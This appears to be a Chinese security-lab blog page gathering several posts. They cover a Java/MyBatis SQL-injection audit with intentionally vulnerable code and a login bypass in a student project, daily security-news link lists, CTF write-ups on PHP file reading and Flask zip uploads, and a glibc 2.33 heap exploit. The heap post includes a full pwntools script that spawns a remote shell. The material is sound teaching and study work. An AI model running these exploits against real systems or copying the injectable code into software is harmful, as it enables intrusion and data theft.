通过某大学生的的毕业设计复习java-sql审计
sql注入原理:业务端代码从客户端接收到恶意payload之后没有进行过滤直接进行sql语句拼接并且执行造成sql注入 本人正在拜读一本代码审计的书感觉非常的棒,刚刚好室友在挑战自己,就顺便整理一下知识点! 1.原生jdbc连接无过滤造成sql注入 我们看下面这段代码,首先从客户端接收传进来的id的值拼接成sql语句,然后Statement去编译拼接的sql语句,将结果传给rs之后读出,这里没有对传进来的值进行任何过滤,尝试去构造sql语句造成注入 String sql = "select * from user where id ="+req.getParameter("id");        PrintWriter out = resp.getWriter();        out.println("Statement Demo");        out.println("SQL: "+sql);        try {            Statement st = conn.createStatement();            ResultSet rs = st.executeQuery(sql);            while (rs.next()){                out.println("<br>Result: "+ rs.getObject("name"));           }       } catch (SQLException throwables) {            throwables.printStackTrace();       } 正常访问 构造测试payload进行测试,可以看到这边是执行了构造过的payload,返回了开发者不想让我们看到的内容 2.原生jdbc预编译开发失误导致sql注入 上面第一种存在sql注入的情况是因为每次执行都会将sql语句进行编译在数据库中执行,为了防止sql注入,可以使用prepareStatement进行预编译sql语句,使用?占位符来传可改变的值,但是因为sql语句已经编译过,所以按道理来说这里传进来的值只会被当作字符串数据处理不作为sql语句的一部分,传进来的值不参与编译也就是不会在sql里执行,但是开发者也可能出错就是在使用prepareStatement时仍然使用sql拼接而不是用占位符或者在预编译之后再次执行sql语句! 我们首先看一下不存在sql注入的代码,使用问号占位符,预编译sql语句,从下面第二张图可以看到这时候sql语句是一个问号而我们传进去的值不在数据库中运行并且没有返回结果的!可以比较好的防止sql注入,这时候我们来讲讲为什么预编译可以防止sql注入,当我们sql执行的时候大致会经历几个阶段分别是编译--优化--缓存--执行,当使用prepareStatement时,他是将上述的步骤已经执行过了,将结果放到了缓存当中,用户的输入只作为数据进行填充而不是sql的一部分,然后服务器从缓存中获得已经编译之后的语句,替换掉用户输入的数据执行以达到防止sql注入的目的! String sql = "select * from user where id = ?";        PrintWriter out = resp.getWriter();        out.println("prepareStatement Demo");        out.println("SQL: "+sql);        try {            PreparedStatement pst = conn.prepareStatement(sql);            pst.setString(1,req.getParameter("id"));            ResultSet rs = pst.executeQuery();            while (rs.next()){                out.println("<br>Result: "+ rs.getObject("id"));           } 看了安全代码,我们看以下预编译依旧存在问题的代码 虽然使用预编译但是sql语句依旧是拼接的!就会造成sql注入,看第一行,开发者忘记使用占位符导致sql语句依旧是拼接进去的    String sql = "select * from user where id ="+req.getParameter("id");        PrintWriter out = resp.getWriter();        out.println("prepareStatement Demo");        out.println("SQL: "+sql);        try {            PreparedStatement pst = conn.prepareStatement(sql);            ResultSet rs = pst.executeQuery();            while (rs.next()){                out.println("<br>Result: "+ rs.getObject("id"));           }       } catch (SQLException throwables) {            throwables.printStackTrace();       } 3.分析mybatis框架类sql注入的情况 使用mybatis的好处是将sql整合到一个地方避免代码中出现大量的sql语句并且其接近原生sql。比较灵活,但是当xml里的sql语句是用$做占位符时,sql语句依旧是拼接而成的,这时候便会存在sql注入 select * from user1 where name = ${name} 下图可以看到传进来的值已经被执行了 4.审计室友的毕业设计 搭好室友的毕业设计之后,简单看了一下,这是一个商城后台管理系统,SSM框架的,然后找了一下入口点,发现只有登录界面是开放的入口。其他的地方权限都做了token验证,然后看他登录是怎么写的 @RequestMapping("/login")    public String login(User user)   {        if (userService.login(user)==1)       {            return "head";       }        else {            return "login";       }   } 看看上面写的,就很简单粗暴,然后就跟进去看server层里看看写了什么判断逻辑没有。  @Override    public int login(User user) {        return userMapper.login(user);   } 看了一下也没问题,继续往下走,发现室友mybatis里的sql全部是使用$拼接的!这不就成了么 <!--    登陆验证-->    <select id="login" parameterType="user" resultType="java.lang.Integer">        select count(*)        from user        where user_name = '${userName}'          and password = '${password}'    </select> 根据一开始controller里写的,是判断返回值等于1,然后就可以登录后台,这时候就可以构造sql让返回值等于1! 然后他所有的sql都是使用$,存在大量的sql注入,以此说明了读书还是要认真!不要老听老头过时的技术!自己要有思考!
网络安全日报 2021年12月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Opera 修复了Turbo服务器中的一个漏洞 https://securityaffairs.co/wordpress/125155/hacking/opera-turbo-servers-flaw.html 2、360 Netlab发现新的 EwDoor 僵尸网络针对 AT&T 客户 https://securityaffairs.co/wordpress/125143/cyber-crime/ewdoor-botnet.html 3、150 种型号的HP打印机受"Printing Shellz"漏洞影响 https://securityaffairs.co/wordpress/125140/hacking/printing-shellz-flaws-hp-printer-models.html 4、攻击者通过 Google Play 分发恶意软件感染超过 30 万设备 https://securityaffairs.co/wordpress/125127/malware/4-banking-trojans-google-play.html 5、WIRTE 黑客组织针对中东的政府、法律、金融实体 https://thehackernews.com/2021/11/wirte-hacker-group-targets-government.html 6、澳大利亚CS Energy公司遭到勒索软件攻击 https://esdnews.com.au/breaking-cs-energy-hit-by-ransomware-attack/ 7、暗网市场Cannazon遭到DDoS攻击后关闭 https://www.bleepingcomputer.com/news/security/dark-web-market-cannazon-shuts-down-after-massive-ddos-attack/ 8、收集用户数据“透明度”过低,苹果、谷歌遭意大利巨额罚款 https://securityaffairs.co/wordpress/125056/laws-and-regulations/italys-antitrust-fined-google-apple.html 9、新墨西哥True Health公司的医疗数据被泄露 https://www.databreachtoday.com/medical-data-exposed-in-breach-at-true-health-new-mexico-a-18001 10、APT-Q-12:针对贸易行业的情报刺探活动 https://mp.weixin.qq.com/s/Hzq4_tWmunDpKfHTlZNM-A
前沿版本2.33下的堆任意地址申请
前言 今天(2021.11.28)NCTF的题目让我大开眼界,上来最低利用版本都是2.31,新生都如此生猛了吗,由于我比较菜只搞定了这个ezheap,2.33版本的题目我也是第一次做,花了1个小时fuzz出了这个玩意是异或加密然后又花了30多分钟去理顺逻辑,算是收获满满吧 由于这个2.33的利用我在网上并没有看见有文章发布,我就写一下供各位pwn学习参考。 前置知识 UAF,异或加密,hook利用 版本新增保护介绍 2.33版本的glibc不同于以往,对于堆块地址的释放之后,对于同一大小的fastbin以及tcache有效的fd永远只有一个,剩余的bin照旧。 对于2.33版本下对于fastbin以及tcache的fd指针会被进行异或操作加密,用来异或的值随堆地址发生改变。 举例利用 例题:NCTF2021 ezheap 漏洞分析 如下存在UAF漏洞,对于heap的size位置零,但是指针未置零,可以造成堆复用 tips:可以利用glibc-all-in-one配合patchelf来建立题目的运行环境 命令如下 patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 ezheap再说点骚操作,题目一般只给libc没有ld,可以直接把all in one的libc替换成题目给的,然后再去patchelf就可以使用上题目的libc了 低于2.33常规思路攻击 通常的思路就是先free一次但是heaparry指针保留,再申请回来就有一个新的指针指向同一个地址,直接uaf任意地址申请,attack free hook 梭哈getshell 2.33绕过方法 First 堆地址的泄露 首先申请两个chunk,然后直接free掉,此时这两个堆的fd位置的内容如下 0x5569374d8290: 0x0000000000000000 0x0000000000000091 0x5569374d82a0: 0x00000005569374d8 0x00005569374d8010 0x5569374d82b0: 0x0000000000000000 0x0000000000000000 0x5569374d82c0: 0x0000000000000000 0x0000000000000000 0x5569374d82d0: 0x0000000000000000 0x0000000000000000 0x5569374d82e0: 0x0000000000000000 0x0000000000000000 0x5569374d82f0: 0x0000000000000000 0x0000000000000000 0x5569374d8300: 0x0000000000000000 0x0000000000000000 0x5569374d8310: 0x0000000000000000 0x0000000000000000 0x5569374d8320: 0x0000000000000000 0x0000000000000091 0x5569374d8330: 0x0000556c61def678 0x00005569374d8010 由于UAF漏洞的存在,直接泄露出chunk0和chunk1的fd,然后进行异或操作我们可以得到 heap:0x5569374d82a0 也就是此时chunk0的content addr,这个地址我们先记录下来 (由于我脚本是分多次启动打断点调试,数据不是同一批,具体可以自己去用脚本去调试) Second 获取某个堆块的对应的异或key值 我们继续进行,假设我们已经填充好了tcache并且释放了一个chunk进入了unsortedbin,目前的heap如下 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5000 Size: 0x291 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5290 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5320 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb53b0 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5440 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb54d0 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5560 Size: 0x91 Free chunk (tcache) | PREV_INUSE Addr: 0x5650e8eb55f0 Size: 0x91 fd: 0x56558de5dbc5 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5650e8eb5680 Size: 0x91 fd: 0x7f95da868c00 bk: 0x7f95da868c00 Allocated chunk Addr: 0x5650e8eb5710 Size: 0x90 Top chunk | PREV_INUSE Addr: 0x5650e8eb57a0 Size: 0x20861 bin状态如下 pwndbg> bin tcachebins 0x90 [  7]: 0x5650e8eb5600 ◂— 0x56558de5dbc5 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x5650e8eb5680 —▸ 0x7f95da868c00 (main_arena+96) ◂— 0x5650e8eb5680 smallbins empty largebins empty 此时用第一步方法得到的堆地址是 0x5650e8eb52a0 然后为了形成堆复用,我们会再去add一个0x90的chunk,此时的heaparry如下 pwndbg> x/32gx 0x40a0+0x5650e8348000 0x5650e834c0a0: 0x00005650e8eb52a0 0x00005650e8eb5330 0x5650e834c0b0: 0x00005650e8eb53c0 0x00005650e8eb5450 0x5650e834c0c0: 0x00005650e8eb54e0 0x00005650e8eb5570 0x5650e834c0d0: 0x00005650e8eb5600 0x00005650e8eb5690 0x5650e834c0e0: 0x00005650e8eb5720 0x00005650e8eb5600 接着我们可以看下当前的bin情况如下 pwndbg> bin tcachebins 0x90 [  6]: 0x5650e8eb5570 ◂— 0x56558de5da55 我们刚才泄露的地址是 0x5650e8eb52a0 现在tc最新的地址是 0x5650e8eb5570 我们现在可以得到key值就是key=0x5650e8eb5570^0x5650e8eb52a0=0x5650e8f25 上面我也提到了这个key是变化的,因此我们还要爆破下,但是爆破是可以找到范围的,我们可以利用常规的错误打法 先看看泄露的key和需要的key的一个偏移(很好玩的是这个偏移也是随机的) 我们再来一次之前的操作然后得到的最新的泄露key是0x5612a9a54 我们看看错误的bin如下 pwndbg> bin tcachebins 0x90 [  6]: 0x7f8b1b63e5e4 正确的free hook地址:0x7f8e7a497e20 libc_key=0x7f8e7a497e20^0x7f8b1b63e5e4=0x5612a9bc4 hex(0x5612a9bc4-0x5612a9a54)=0x170 我试了很多次的调试,libc_key有0x170,-0x170,0x190,-0x190当然实际情况实际调试,只要调试出来的值就是有可能的偏移 最后把free_hook^libc_key=encrypto_free_hook 然后常规套路直接getshell exp from pwn import * r=process('./ezheap') #r=remote('129.211.173.64',10002) #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') libc=ELF('libc-2.33.so') #context.log_level='debug' def add(size,con): r.sendlineafter(">> ",'1') r.sendlineafter("Size: ",str(size)) r.sendlineafter("Content: ",con) def edit(idx,con): r.sendlineafter(">> ",'2') r.sendlineafter("Index: ",str(idx)) r.sendafter("Content: ",con) def show(idx): r.sendlineafter(">> ",'4') r.sendlineafter("Index: ",str(idx)) def dele(idx): r.sendlineafter(">> ",'3') r.sendlineafter("Index: ",str(idx)) flag=1 while flag: #r=process('./ezheap') r=remote('129.211.173.64',10002) for i in range(9): add(128,'1') dele(0) show(0) he0=u64(r.recv(6)+b'\x00'*2) print(hex(he0)) dele(1) show(1) he1=u64(r.recv(6)+b'\x00'*2) print(hex(he1)) heap=he0^he1 print("heap:"+hex(heap)) #gdb.attach(r) for i in range(2,8): dele(i) show(5) he=u64(r.recv(6)+b'\x00'*2) print(hex(he)) show(6) he6=u64(r.recv(6)+b'\x00'*2) print(hex(he6)) show(7) base=u64(r.recv(6)+b'\x00'*2)-0x1e0c00 print(hex(base)) #gdb.attach(r) free_hook=base+libc.sym["__free_hook"] print(hex(free_hook)) sys=base+libc.sym['system'] add(128,'') tagerheap=heap+0x2d0 print("target heap:"+hex(tagerheap)) tagerheap_key=tagerheap^he print("target heap_key:"+hex(tagerheap_key)) libc_key=tagerheap_key+0x170 print("target libc_key:"+hex(libc_key)) #gdb.attach(r) dele(6) edit(9,p64(free_hook^libc_key)+b'\n') add(128,'/bin/sh\x00') add(128,'1') edit(11,p64(sys)+b'\n') #gdb.attach(r) dele(6) r.sendline("ls") a=r.recv() if b'bin' in a: r.interactive() print(a) flag=0 else: r.close() 题目附件下载链接 链接:https://pan.baidu.com/s/1YKqJOuGZrueLCkKxFwu2bA 提取码:urk1
网络安全日报 2021年11月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Zoom发布安全补丁修补高危漏洞 https://www.securityweek.com/project-zero-flags-high-risk-zoom-security-flaw 2、CISA 发布关于保护企业移动设备的指南 https://www.securityweek.com/cisa-releases-guidance-securing-enterprise-mobile-devices 3、最近修补的 Apache HTTP 服务器漏洞在攻击中被利用 https://www.securityweek.com/recently-patched-apache-http-server-vulnerability-exploited-attacks 4、制药公司 Supernus Pharmaceuticals 遭Hive勒索攻击和数据泄露 https://www.securityweek.com/ransomware-operators-threaten-leak-15tb-supernus-pharmaceuticals-data 5、松下披露网络攻击和数据泄露 https://securityaffairs.co/wordpress/125114/data-breach/panasonic-data-breach.html 6、黑客冒充金融机构针对美国Zelle手机应用用户 https://cyware.com/news/the-rise-in-banking-scams-zelle-fraud-and-other-threats-a9a36977 7、黑客利用不安全的Google Cloud账户挖矿并部署勒索软件 https://thehackernews.com/2021/11/hackers-using-compromised-google-cloud.html 8、工信部、公安部约谈阿里云和百度云,接入涉诈网站数量居高不下 https://www.miit.gov.cn/xwdt/gxdt/sjdt/art/2021/art_cef918baaec44bc88b6a5b37a0331c00.html 9、部分美国国防承包商极易遭受勒索软件攻击 https://www.helpnetsecurity.com/2021/11/25/defense-contractors-ransomware/ 10、TrickBot网络钓鱼检查屏幕分辨率以逃避研究人员 https://www.bleepingcomputer.com/news/security/trickbot-phishing-checks-screen-resolution-to-evade-researchers/
网络安全日报 2021年11月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、与朝鲜有关的APT冒充三星招聘人员进行钓鱼活动 https://securityaffairs.co/wordpress/125071/apt/north-korea-zinc-targets-security-firms.html 2、0patch 发布Windows 0day漏洞非官方补丁 https://securityaffairs.co/wordpress/125061/security/unofficial-patches-cve-2021-24084-zeroday.html 3、代号为HAEICHI-II的国际行动逮捕了1000多名网络犯罪嫌疑人 https://securityaffairs.co/wordpress/125044/cyber-crime/interpol-arrested-1003-individuals.html 4、海事服务提供商SPO遭 CL0P 勒索软件攻击导致公司数据被盗 https://securityaffairs.co/wordpress/125034/cyber-crime/swire-pacific-offshore-clop-ransomware.html 5、 Babadeda 恶意软件针对加密货币和NFT社区 https://securityaffairs.co/wordpress/125025/malware/babadeda-crypter-cryptocurrency-nft.html 6、Resecurity 研究人员在 TP-Link Wi-Fi 6 设备中发现了 0day 漏洞 https://securityaffairs.co/wordpress/125016/hacking/0-day-tp-link-wi-fi-6.html 7、以色列禁止向 65 个国家销售黑客和监视工具 https://thehackernews.com/2021/11/israel-bans-sales-of-hacking-and.html 8、新的Fuzz工具揭示了新的 HTTP 请求走私技术 https://portswigger.net/daily-swig/new-differential-fuzzing-tool-reveals-novel-http-request-smuggling-techniques 9、恶意软件通过YouTube上的免费游戏视频传播 https://blog.malwarebytes.com/scams/2021/11/free-steam-games-videos-promise-much-deliver-malware/ 10、家具零售商宜家的电子邮件系统遭受网络攻击 https://www.bleepingcomputer.com/news/security/ikea-email-systems-hit-by-ongoing-cyberattack/
网络安全日报 2021年11月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新的 Linux CronRAT 利用任务计划逃避检测 https://securityaffairs.co/wordpress/125000/cyber-crime/linux-cronrat-magecart-attacks.html 2、伊朗黑客利用MSHTML 漏洞窃取 Google 和 Instagram 凭据 https://securityaffairs.co/wordpress/124984/apt/iran-apt-microsoft-mshtml-exploit.html 3、新型JavaScript恶意软件利用RAT感染目标设备 https://www.bleepingcomputer.com/news/security/stealthy-new-javascript-malware-infects-windows-pcs-with-rats/ 4、法国Bureau Veritas公司遭网络攻击服务器离线 https://www.ship-technology.com/news/bureau-veritas-hit-cyberattack/ 5、Cronin公司暴露了9200万条员工和客户的数据 https://www.websiteplanet.com/blog/cronin-leak-report/ 6、乌克兰逮捕了苹果钓鱼攻击黑客组织"Phoenix"成员 https://www.infosecurity-magazine.com/news/ukrainian-cops-bust-mobile-device/ 7、FBI警告针对知名品牌客户的网络钓鱼 https://www.bleepingcomputer.com/news/security/fbi-warns-of-phishing-targeting-high-profile-brands-customers/ 8、最多缩水90% 安全研究人员对微软漏洞赏金感到失望 https://www.cnbeta.com/articles/tech/1206729.htm 9、安全人员在研华 R-SeeNet 监控软件中发现了多个漏洞 https://blog.talosintelligence.com/2021/11/re-see-net-advantched-vuln-spotlight.html 10、威胁组织利用Tardigrade恶意软件攻击疫苗制造商 https://www.bleepingcomputer.com/news/security/hackers-target-biomanufacturing-with-stealthy-tardigrade-malware/
对一道n1ctf赛题的详细分析
最近做了一道N1CTF2021的题目,学到了不少,分享给大家共同学习。 0x01 题目详情 题目如下: 源码如下: <?php //flag is /flag $path=$_POST['path']; $time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s"); $name="/var/www/tmp/".time().rand().'.txt'; $black="f|ht|ba|z|ro|;|,|=|c|g|da|_"; $blist=explode("|",$black); foreach($blist as $b){  if(strpos($path,$b) !== false){ •    die(); } } if(file_put_contents($name, $time)){ • echo "<pre class='language-html'><code class='language-html'>logpath:$name</code></pre>"; } $check=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($path)); if(is_file($check)){ • echo "<pre class='language-html'><code class='language-html'>".file_get_contents($check)."</code></pre>"; }页面下方输出的是日志文件。要拿到flag,我首先关注到下方的两个if语句,先看最下面这个: if(is_file($check)){ echo "<pre class='language-html'><code class='language-html'>".file_get_contents($check)."</code></pre>"; }如果$check是一个文件,那么读取他的内容,并输出。如果$check的值刚好是/flag,那这道题就解出来了。而$check是由这行代码来的: $check=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($path));此处使用了preg_replace函数,将$path文件内容里的换行空格等内容删除。而$path最初是通过POST请求提交的,之后进行了过滤,不能包含一些字符: $black="f|ht|ba|z|ro|;|,|=|c|g|da|_"; $blist=explode("|",$black); foreach($blist as $b){  if(strpos($path,$b) !== false){    die(); }除了POST请求提交path参数我们可以控制,另外一个参数time通过GET方式和伪协议的方式我们也可以控制: $time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s"); $name="/var/www/tmp/".time().rand().'.txt'; if(file_put_contents($name, $time)){ echo "<pre class='language-html'><code class='language-html'>logpath:$name</code></pre>";而$time的内容会被写入$name所在的文件中。 0x02 利用思路 整个过程如下: 我们可控的地方有path参数和time参数,time参数的内容最终会写入到name文件中。name文件会在每次请求的时候输出,我们不可控,但能够得知name文件的路径。path参数对应的文件名可控,但其文件内容不可控,而check文件名来源于path文件的内容,最终会读取并输出check文件的内容。 所以,我们要想读取/flag的内容,我们就要使check文件内容等于/flag,即可直接在网页中显示出/flag的内容。check文件名可通过path参数进行控制,而name文件内容我们可以通过time参数控制,所以,我们要想方法把/flag这个字符串写入name文件内容中,然后将check文件名设置为name文件即可。 0x03 利用过程 第一步,我们首先将/flag字符串写入time文件。 程序通过如下代码获得time的值: $time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s");其中涉及到php的伪协议php://input,它可以读取我们POST请求的内容,time参数如果被设置,同时有POST数据,POST数据将会赋值给$time,我在本机进行调试如下: 内容写入到time对应的txt文件中: 为什么写入的内容不是/flag?因为有date函数并结果urldecode,所以,改成如下即可: 查看对应的文件即为/flag: 而我们将path参数设置为time对应的txt文件名,那么check文件名就会被设置为/flag,最终读取输出flag。 按照本地测试的效果,首先传递time参数,将/flag写入文件,然后记下页面输出的txt文件路径: 然后再次请求时,指定path为txt文件路径/var/www/tmp/16375737971145120615.txt,得到flag内容:
网络安全日报 2021年11月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、VMware 修补了vCenter Server 中的文件读取和SSRF 漏洞 https://www.securityweek.com/vmware-patches-file-read-ssrf-vulnerabilities-vcenter-server 2、苹果起诉 NSO Group滥用Pegasus间谍软件 https://securityaffairs.co/wordpress/124954/laws-and-regulations/apple-sues-nso-group.html 3、VirtualBox 拒绝服务漏洞细节披露 https://securityaffairs.co/wordpress/124944/security/oracle-virtualbox-flaws.html 4、APT C-23 利用新的 Android 间谍软件变种攻击中东用户 https://thehackernews.com/2021/11/apt-c-23-hackers-using-new-android.html 5、黑客利用Tardigrade恶意软件针对生物制造业 https://www.bleepingcomputer.com/news/security/hackers-target-biomanufacturing-with-stealthy-tardigrade-malware/ 6、联发科芯片多个漏洞可导致被窃听,影响全球37%的手机和物理网设备 https://thehackernews.com/2021/11/eavesdropping-bugs-in-mediatek-chips.html 7、超过4000家英国零售商受到Magecart攻击 https://www.infosecurity-magazine.com/news/4000-uk-retailers-compromised/ 8、研究人员警告名为Printjack的三种打印机攻击 https://www.bleepingcomputer.com/news/security/researchers-warn-of-severe-risks-from-printjack-printer-attacks/ 9、思科新漏洞影响防火墙安全 https://www.infosecurity-magazine.com/news/cisco-flaw-affects-firewalls/ 10、研究人员发现使用指纹照片、打印机和胶水,便可绕过生物识别验证 https://www.bleepingcomputer.com/news/security/biometric-auth-bypassed-using-fingerprint-photo-printer-and-glue/
网络安全日报 2021年11月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、恶意软件已经在尝试利用新的 Windows Installer 零日漏洞 https://securityaffairs.co/wordpress/124940/malware/windows-installer-zero-day-malware.html 2、Android.Cynos.7.origin 木马感染 900 多万台安卓设备 https://securityaffairs.co/wordpress/124927/malware/android-cynos-7-origin-trojan-infections.html 3、专家警告 Imunify360 安全平台存在 RCE 漏洞 https://securityaffairs.co/wordpress/124922/security/imunify360-rce.html 4、研究人员发布Exchange CVE-2021-42321 RCE 漏洞的 PoC 代码 https://securityaffairs.co/wordpress/124917/hacking/microsoft-exchange-cve-2021-42321-rce-poc.html 5、加密货币交易所BTC-Alpha遭到勒索软件攻击 https://www.techtarget.com/searchsecurity/news/252509877/Cryptocurrency-exchange-BTC-Alpha-confirms-ransomware-attack 6、WSpot Wi-Fi管理软件公司泄露数百万巴西人数据 https://www.zdnet.com/article/millions-of-brazilians-exposed-in-wi-fi-management-software-firm-leak/ 7、Facebook要求洛杉矶警方停止使用虚假账户监视其用户 https://tech.slashdot.org/story/21/11/19/1930212/facebook-tells-la-police-to-stop-spying-on-users-with-fake-accounts 8、飞利浦、CISA 就医疗器械产品安全漏洞发出警告 https://www.inforisktoday.com/philips-cisa-warn-medical-device-product-security-flaws-a-17958 9、加州Pizza Kitchen遭遇数据泄露 https://securityaffairs.co/wordpress/124785/data-breach/california-pizza-kitchen-data-breach.html 10、“幼象”组织在南亚地区的网络攻击活动分析 https://mp.weixin.qq.com/s/9emBT2btFA811QLRjU54tA
对一道CTF题的详细分析
https://www.yijinglab.com/pages/CTFLaboratory.jsp0x01 前言 最近身边有萌新想打ctf,我作为一个曾经接触过一点点ctf的业余菜鸡,就索性做了一道Web题。这篇文章主要是面向想开始打ctf的萌新,所以很多地方可能都比较简单。如有错误之处,欢迎各位指正。 0x02 Flask 简介 Flask库是一个非常小型的Python Web开发框架。它有两个主要依赖:路由、调试和 Web 服务器网关接口(Web Server Gateway Interface,WSGI)子系统由 Werkzeug(http://werkzeug.pocoo.org/)提供;模板系统由 Jinja2(http://jinja.pocoo.org/)提供。Werkzeug 和 Jinjia2 都是由 Flask 的核心开发者开发而成。这里我们要重点了解一下路由。 Flask需要知道对每个 URL 请求该运行哪些代码,所以保存了一个 URL 到Python 函数之间的映射关系。处理 URL 和函数之间关系的程序称为路由。在 Flask 程序中定义路由的最简便方式,是使用程序实例提供的 app.route 修饰器,把修饰的函数注册为路由。下面的例子说明了如何使用这个修饰器声明路由: @app.route('/') def index(): return '<h1>Hello World!</h1>' 这个例子就是把 index() 函数注册为程序根地址的处理程序。如果部署程序的服务器域名为 www.example.com,在浏览器中访问 http://www.example.com 后,会触发服务器执行 index() 函数。这个函数的返回值称为响应,是客户端接收到的内容。如果客户端是 Web 浏览器,响应就是显示给用户查看的文档。 要启动服务器也很简单,程序实例用 run 方法启动 Flask 集成的开发 Web 服务器即可: if __name__ == '__main__':    app.run(debug=True) 其中,name=='main' 是 Python 的惯常用法,在这里确保直接执行这个脚本时才启动开发Web 服务器。服务器启动后,会进入轮询,等待并处理请求。轮询会一直运行,直到程序停止,比如按Ctrl-C 键。有一些选项参数可被 app.run() 函数接受用于设置 Web 服务器的操作模式。在开发过程中启用调试模式会带来一些便利,比如说激活调试器和重载程序。要想启用调试模式,我们可以把 debug 参数设为 True。要想让所有主机都可以访问,可以设置参数host="0.0.0.0"。 0x03 详细分析 赛题如下: 该Web题下载下来以后源码如下: import os import json from shutil import copyfile from flask import Flask,request,render_template,url_for,send_from_directory,make_response,redirect from werkzeug.middleware.proxy_fix import ProxyFix from flask import jsonify from hashlib import md5 import signal from http.server import HTTPServer, SimpleHTTPRequestHandler os.environ['TEMP']='/dev/shm' app = Flask("access") app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1 ,x_proto=1) @app.route('/',methods=['POST', 'GET']) def index():    if request.method == 'POST':        f=request.files['file']        os.system("rm -rf /dev/shm/zip/media/*")        path=os.path.join("/dev/shm/zip/media",'tmp.zip')        f.save(path)        os.system('timeout -k 1 3 unzip /dev/shm/zip/media/tmp.zip -d /dev/shm/zip/media/')        os.system('rm /dev/shm/zip/media/tmp.zip')        return redirect('/media/')    response = render_template('index.html')    return response @app.route('/media/',methods=['GET']) @app.route('/media',methods=['GET']) @app.route('/media/<path>',methods=['GET']) def media(path=""):    npath=os.path.join("/dev/shm/zip/media",path)    if not os.path.exists(npath):        return make_response("404",404)    if not os.path.isdir(npath):        f=open(npath,'rb')        response = make_response(f.read())        response.headers['Content-Type'] = 'application/octet-stream'        return response    else:        fn=os.listdir(npath)        fn=[".."]+fn        f=open("templates/template.html")        x=f.read()        f.close()        ret="<h1>文件列表:</h1><br><hr>"        for i in fn:            tpath=os.path.join('/media/',path,i)            ret+="<a href='"+tpath+"'>"+i+"</a><br>"        x=x.replace("HTMLTEXT",ret)        return x os.system('mkdir /dev/shm/zip') os.system('mkdir /dev/shm/zip/media') app.run(host="0.0.0.0",port=8080,debug=False,threaded=True) 接下来就开始详细介绍。 这是一个用来实现文件在线解压的网站,首先看首页对应的index函数,当访问网站首页时,可以采用GET和POST请求两种方式,对应的响应函数为index函数。题目里还有两个html文档,一个用来当上传文件时,一个用来渲染页面,这里就不贴出来了。当在首页通过html上传文档时,会执行index函数,会执行如下命令来删除文件: rm -rf /dev/shm/zip/media/* 然后拼接路径,并将上传的文件保存到这个路径:/dev/shm/zip/media/tmp.zip 之后执行命令解压: timeout -k 1 3 unzip /dev/shm/zip/media/tmp.zip -d /dev/shm/zip/media/ 解压后将压缩文件删除: rm /dev/shm/zip/media/tmp.zip 第二个函数是media函数,有三种url请求都由这个函数来响应,其中有一个需要特别关注的,就是 @app.route('/media/<path>',methods=['GET']) 这是动态路由,就是当请求的时候如果在media的后面再加上一个字符串,可以将这个字符串作为参数传递给path变量,执行media函数中的内容: def media(path=""):    npath=os.path.join("/dev/shm/zip/media",path)    if not os.path.exists(npath):        return make_response("404",404)    if not os.path.isdir(npath):        f=open(npath,'rb')        response = make_response(f.read())        response.headers['Content-Type'] = 'application/octet-stream'        return response    else:        fn=os.listdir(npath)        fn=[".."]+fn        f=open("templates/template.html")        x=f.read()        f.close()        ret="<h1>文件列表:</h1><br><hr>"        for i in fn:            tpath=os.path.join('/media/',path,i)            ret+="<a href='"+tpath+"'>"+i+"</a><br>"        x=x.replace("HTMLTEXT",ret)        return x 